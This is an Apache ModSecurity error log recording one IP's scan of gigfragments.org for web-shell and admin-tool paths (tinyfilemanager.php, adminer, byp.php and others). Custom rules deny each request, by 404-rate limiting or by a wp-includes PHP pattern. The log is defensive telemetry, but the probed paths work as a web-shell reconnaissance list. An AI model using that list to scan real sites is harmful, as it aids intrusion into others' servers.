[Sat Feb 28 22:49:16.224224 2026] [:error] [pid 39183:tid 39194] [client 13.71.191.191:14333] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/affiliate_manager.php"] [unique_id "aaMAbBCf4HvhVePw3LapswAAAAI"]
[Sat Feb 28 22:49:17.029279 2026] [:error] [pid 49763:tid 49766] [client 13.71.191.191:14228] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/affiliate_manager.php"] [unique_id "aaMAbbTHSOG_yf2PpqHnMAAAAcA"]
[Sat Feb 28 22:49:17.484531 2026] [:error] [pid 39183:tid 39207] [client 13.71.191.191:14157] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/affiliate_manager.php"] [unique_id "aaMAbRCf4HvhVePw3LapvgAAAA8"]
[Sat Feb 28 22:49:28.222037 2026] [:error] [pid 39183:tid 39208] [client 13.71.191.191:14161] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/editor/tinyfilemanager.php"] [unique_id "aaMAeBCf4HvhVePw3Lap-gAAABA"]
[Sat Feb 28 22:49:28.744669 2026] [:error] [pid 52460:tid 52485] [client 13.71.191.191:14154] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/404.php"] [unique_id "aaMAeLLWOogAgHGh62TLcwAAAZY"]
[Sat Feb 28 22:49:32.964155 2026] [:error] [pid 11791:tid 11803] [client 13.71.191.191:14080] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress3cll/up.php"] [unique_id "aaMAfGuX5e1Q32gqxH3e4gAAAQo"]
[Sat Feb 28 22:49:33.479282 2026] [:error] [pid 39183:tid 39192] [client 13.71.191.191:14311] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress3cll/up.php"] [unique_id "aaMAfRCf4HvhVePw3LaqCQAAAAA"]
[Sat Feb 28 22:49:33.955253 2026] [:error] [pid 39183:tid 39196] [client 13.71.191.191:14175] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress3cll/up.php"] [unique_id "aaMAfRCf4HvhVePw3LaqDwAAAAQ"]
[Sat Feb 28 22:49:34.414589 2026] [:error] [pid 49763:tid 49776] [client 13.71.191.191:14272] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress3cll/up.php"] [unique_id "aaMAfrTHSOG_yf2PpqHnTQAAAco"]
[Sat Feb 28 22:49:34.840774 2026] [:error] [pid 49763:tid 49768] [client 13.71.191.191:14148] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/news_event/1.php7"] [unique_id "aaMAfrTHSOG_yf2PpqHnUQAAAcI"]
[Sat Feb 28 22:49:35.382616 2026] [:error] [pid 52460:tid 52484] [client 13.71.191.191:14256] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/news_event/1.php7"] [unique_id "aaMAf7LWOogAgHGh62TLlQAAAZU"]
[Sat Feb 28 22:49:35.856871 2026] [:error] [pid 52460:tid 52471] [client 13.71.191.191:14281] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/news_event/1.php7"] [unique_id "aaMAf7LWOogAgHGh62TLmAAAAYg"]
[Sat Feb 28 22:49:36.317060 2026] [:error] [pid 52460:tid 52481] [client 13.71.191.191:14258] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/news_event/1.php7"] [unique_id "aaMAgLLWOogAgHGh62TLnAAAAZI"]
[Sat Feb 28 22:49:36.828064 2026] [:error] [pid 49763:tid 49773] [client 13.71.191.191:14159] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer-4.2.3-en.php"] [unique_id "aaMAgLTHSOG_yf2PpqHnVQAAAcc"]
[Sat Feb 28 22:49:37.311461 2026] [:error] [pid 49763:tid 49785] [client 13.71.191.191:14165] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer-4.2.3-en.php"] [unique_id "aaMAgbTHSOG_yf2PpqHnWAAAAdM"]
[Sat Feb 28 22:49:37.777601 2026] [:error] [pid 39183:tid 39192] [client 13.71.191.191:14296] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer-4.2.3-en.php"] [unique_id "aaMAgRCf4HvhVePw3LaqNAAAAAA"]
[Sat Feb 28 22:49:38.201175 2026] [:error] [pid 39183:tid 39207] [client 13.71.191.191:14179] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer-4.2.3-en.php"] [unique_id "aaMAghCf4HvhVePw3LaqOgAAAA8"]
[Sat Feb 28 22:49:38.693519 2026] [:error] [pid 39183:tid 39202] [client 13.71.191.191:14320] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blocks/tinyfilemanager.php"] [unique_id "aaMAghCf4HvhVePw3LaqPwAAAAo"]
[Sat Feb 28 22:49:39.404911 2026] [:error] [pid 39183:tid 39212] [client 13.71.191.191:14190] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blocks/tinyfilemanager.php"] [unique_id "aaMAgxCf4HvhVePw3LaqRwAAABQ"]
[Sat Feb 28 22:49:39.868306 2026] [:error] [pid 39183:tid 39211] [client 13.71.191.191:14160] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blocks/tinyfilemanager.php"] [unique_id "aaMAgxCf4HvhVePw3LaqUAAAABM"]
[Sat Feb 28 22:49:40.424194 2026] [:error] [pid 52460:tid 52479] [client 13.71.191.191:14214] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blocks/tinyfilemanager.php"] [unique_id "aaMAhLLWOogAgHGh62TLrwAAAZA"]
[Sat Feb 28 22:49:41.511018 2026] [:error] [pid 39185:tid 39248] [client 13.71.191.191:14186] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aaMAhRVE-FfM89u7BQa2CQAAAII"]
[Sat Feb 28 22:49:42.275869 2026] [:error] [pid 39184:tid 39228] [client 13.71.191.191:14167] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aaMAhltZF9Zd_U7easDwNAAAAEk"]
[Sat Feb 28 22:49:42.916345 2026] [:error] [pid 52460:tid 52480] [client 13.71.191.191:14109] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aaMAhrLWOogAgHGh62TLuwAAAZE"]
[Sat Feb 28 22:49:43.526618 2026] [:error] [pid 39183:tid 39213] [client 13.71.191.191:14274] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aaMAhxCf4HvhVePw3LaqbAAAABU"]
[Sat Feb 28 22:49:44.084379 2026] [:error] [pid 49763:tid 49783] [client 13.71.191.191:14199] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-simplepie.php"] [unique_id "aaMAiLTHSOG_yf2PpqHncQAAAdE"]
[Sat Feb 28 22:49:44.725905 2026] [:error] [pid 39183:tid 39208] [client 13.71.191.191:14149] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wpsml-sys.php"] [unique_id "aaMAiBCf4HvhVePw3LaqdQAAABA"]
[Sat Feb 28 22:49:45.222631 2026] [:error] [pid 39183:tid 39201] [client 13.71.191.191:14238] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wpsml-sys.php"] [unique_id "aaMAiRCf4HvhVePw3LaqfAAAAAk"]
[Sat Feb 28 22:49:45.746864 2026] [:error] [pid 49763:tid 49787] [client 13.71.191.191:14166] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wpsml-sys.php"] [unique_id "aaMAibTHSOG_yf2PpqHnfQAAAdU"]
[Sat Feb 28 22:49:46.499450 2026] [:error] [pid 49763:tid 49771] [client 13.71.191.191:14152] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/myflash/"] [unique_id "aaMAirTHSOG_yf2PpqHnhQAAAcU"]
[Sat Feb 28 22:49:47.161449 2026] [:error] [pid 39183:tid 39215] [client 13.71.191.191:14269] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/myflash/"] [unique_id "aaMAixCf4HvhVePw3LaqiAAAABc"]
[Sat Feb 28 22:49:47.659576 2026] [:error] [pid 39183:tid 39205] [client 13.71.191.191:14092] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/myflash/"] [unique_id "aaMAixCf4HvhVePw3LaqjwAAAA0"]
[Sat Feb 28 22:49:48.112783 2026] [:error] [pid 39183:tid 39196] [client 13.71.191.191:14298] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/myflash/"] [unique_id "aaMAjBCf4HvhVePw3LaqlgAAAAQ"]
[Sat Feb 28 22:49:48.631199 2026] [:error] [pid 39183:tid 39215] [client 13.71.191.191:14105] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/rd.php"] [unique_id "aaMAjBCf4HvhVePw3LaqmwAAABc"]
[Sat Feb 28 22:49:49.134704 2026] [:error] [pid 52460:tid 52470] [client 13.71.191.191:14300] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/rd.php"] [unique_id "aaMAjbLWOogAgHGh62TL1AAAAYc"]
[Sat Feb 28 22:49:49.579436 2026] [:error] [pid 49763:tid 49774] [client 13.71.191.191:14268] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/rd.php"] [unique_id "aaMAjbTHSOG_yf2PpqHniQAAAcg"]
[Sat Feb 28 22:49:49.999297 2026] [:error] [pid 39184:tid 39230] [client 13.71.191.191:14237] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/rd.php"] [unique_id "aaMAjVtZF9Zd_U7easDwOwAAAEs"]
[Sat Feb 28 22:49:50.419434 2026] [:error] [pid 39184:tid 39242] [client 13.71.191.191:14156] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oload_classmap.php"] [unique_id "aaMAjltZF9Zd_U7easDwPQAAAFc"]
[Sat Feb 28 22:49:50.842325 2026] [:error] [pid 49763:tid 49787] [client 13.71.191.191:14271] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oload_classmap.php"] [unique_id "aaMAjrTHSOG_yf2PpqHnjwAAAdU"]
[Sat Feb 28 22:49:51.268076 2026] [:error] [pid 11791:tid 11816] [client 13.71.191.191:14247] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oload_classmap.php"] [unique_id "aaMAj2uX5e1Q32gqxH3e6wAAARc"]
[Sat Feb 28 22:49:51.699684 2026] [:error] [pid 49763:tid 49771] [client 13.71.191.191:14099] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oload_classmap.php"] [unique_id "aaMAj7THSOG_yf2PpqHnkwAAAcU"]
[Sat Feb 28 22:49:52.118212 2026] [:error] [pid 49763:tid 49782] [client 13.71.191.191:14128] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/spin.php"] [unique_id "aaMAkLTHSOG_yf2PpqHnlwAAAdA"]
[Sat Feb 28 22:49:52.548293 2026] [:error] [pid 39292:tid 39301] [client 13.71.191.191:14195] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/spin.php"] [unique_id "aaMAkKIAO5fN7BxyqcGd6gAAAMc"]
[Sat Feb 28 22:49:52.965068 2026] [:error] [pid 39183:tid 39196] [client 13.71.191.191:14174] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/spin.php"] [unique_id "aaMAkBCf4HvhVePw3LaqowAAAAQ"]
[Sat Feb 28 22:49:53.398856 2026] [:error] [pid 39183:tid 39214] [client 13.71.191.191:14197] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/spin.php"] [unique_id "aaMAkRCf4HvhVePw3LaqpQAAABY"]
[Sat Feb 28 22:49:53.864179 2026] [:error] [pid 49763:tid 49788] [client 13.71.191.191:14119] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize//parx.php"] [unique_id "aaMAkbTHSOG_yf2PpqHnnwAAAdY"]
[Sat Feb 28 22:49:54.299727 2026] [:error] [pid 11791:tid 11801] [client 13.71.191.191:14193] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/IXR/network.php"] [unique_id "aaMAkmuX5e1Q32gqxH3e8gAAAQg"]
[Sat Feb 28 22:49:54.804402 2026] [:error] [pid 52460:tid 52463] [client 13.71.191.191:14130] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/IXR/network.php"] [unique_id "aaMAkrLWOogAgHGh62TL8wAAAYA"]
[Sat Feb 28 22:49:55.259673 2026] [:error] [pid 39183:tid 39215] [client 13.71.191.191:14297] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/IXR/network.php"] [unique_id "aaMAkxCf4HvhVePw3LaqpwAAABc"]
[Sat Feb 28 22:49:55.724285 2026] [:error] [pid 39183:tid 39209] [client 13.71.191.191:14182] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/IXR/network.php"] [unique_id "aaMAkxCf4HvhVePw3LaqqwAAABE"]
[Sat Feb 28 22:49:56.221293 2026] [:error] [pid 39184:tid 39229] [client 13.71.191.191:14187] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/byp.php"] [unique_id "aaMAlFtZF9Zd_U7easDwQwAAAEo"]
[Sat Feb 28 22:49:56.659216 2026] [:error] [pid 52460:tid 52481] [client 13.71.191.191:14285] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/byp.php"] [unique_id "aaMAlLLWOogAgHGh62TL_AAAAZI"]
[Sat Feb 28 22:49:57.197720 2026] [:error] [pid 11791:tid 11797] [client 13.71.191.191:14036] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/byp.php"] [unique_id "aaMAlWuX5e1Q32gqxH3e9gAAAQQ"]
[Sat Feb 28 22:49:57.704255 2026] [:error] [pid 22194:tid 22201] [client 13.71.191.191:14113] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/byp.php"] [unique_id "aaMAlX6mbajs3bzQGyu3_AAAAUU"]
[Sat Feb 28 22:49:58.150713 2026] [:error] [pid 39185:tid 39259] [client 13.71.191.191:14254] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/transaction_history.php"] [unique_id "aaMAlhVE-FfM89u7BQa2GAAAAI0"]
